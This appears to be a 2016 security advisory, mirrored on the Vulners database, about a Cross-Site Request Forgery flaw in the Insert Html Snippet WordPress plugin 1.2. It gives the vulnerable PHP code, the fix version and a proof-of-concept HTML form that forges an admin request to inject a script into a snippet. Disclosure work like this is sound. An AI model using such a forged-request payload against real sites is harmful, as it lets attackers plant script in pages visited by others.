Vulners
Lucene search
WordPress Insert Html Snippet 1.2 Cross Site Request Forgery
`------------------------------------------------------------------------
Cross-Site Request Forgery in Insert Html Snippet WordPress Plugin
------------------------------------------------------------------------
Yorick Koster, July 2016
------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160724-0027
------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
It was discovered that the Insert Html Snippet WordPress Plugin is
vulnerable to Cross-Site Request Forgery. Amongst others, this issue can
be used to update an existing HTML snippet. This can be used to insert
arbitrary HTML and scripting code within a post or page that uses the
snippet. In order to exploit this issue, the attacker has to lure/force
a logged on WordPress Administrator into opening a malicious website.
------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Insert Html Snippet WordPress
Plugin version 1.2.
------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue has been addressed in Insert Html Snippet version 1.2.1.
------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_insert_html_snippet_wordpress_plugin.html
This issue exists because Insert Html Snippet lacks protection against Cross-Site Request Forgery attacks. See for example the code that is used to edit a snippet.
if(isset($_POST) && isset($_POST['updateSubmit'])){
// echo '<pre>';
// print_r($_POST);
// die("JJJ");
$_POST = stripslashes_deep($_POST);
$_POST = xyz_trim_deep($_POST);
$xyz_ihs_snippetId = $_GET['snippetId'];
$temp_xyz_ihs_title = str_replace(' ', '', $_POST['snippetTitle']);
$temp_xyz_ihs_title = str_replace('-', '', $temp_xyz_ihs_title);
$xyz_ihs_title = str_replace(' ', '-', $_POST['snippetTitle']);
$xyz_ihs_content = $_POST['snippetContent'];
if($xyz_ihs_title != "" && $xyz_ihs_content != ""){
if(ctype_alnum($temp_xyz_ihs_title))
{
$snippet_count = $wpdb->query($wpdb->prepare( 'SELECT * FROM '.$wpdb->prefix.'xyz_ihs_short_code WHERE id!=%d AND title=%s LIMIT 0,1',$xyz_ihs_snippetId,$xyz_ihs_title)) ;
if($snippet_count == 0){
$xyz_shortCode = '[xyz-ihs snippet="'.$xyz_ihs_title.'"]';
$wpdb->update($wpdb->prefix.'xyz_ihs_short_code', array('title'=>$xyz_ihs_title,'content'=>$xyz_ihs_content,'short_code'=>$xyz_shortCode,), array('id'=>$xyz_ihs_snippetId));
In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
Proof of concept
<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=insert-html-snippet-manage&action=snippet-edit&snippetId=1&pageno=1" method="POST">
<input type="hidden" name="snippetId" value="1" />
<input type="hidden" name="snippetTitle" value="Fu" />
<input type="hidden" name="snippetContent" value="<script>alert(1);</script>" />
<input type="hidden" name="updateSubmit" value="Update" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
29 Nov 2016 00:00Current
7.4High risk
Vulners AI Score7.4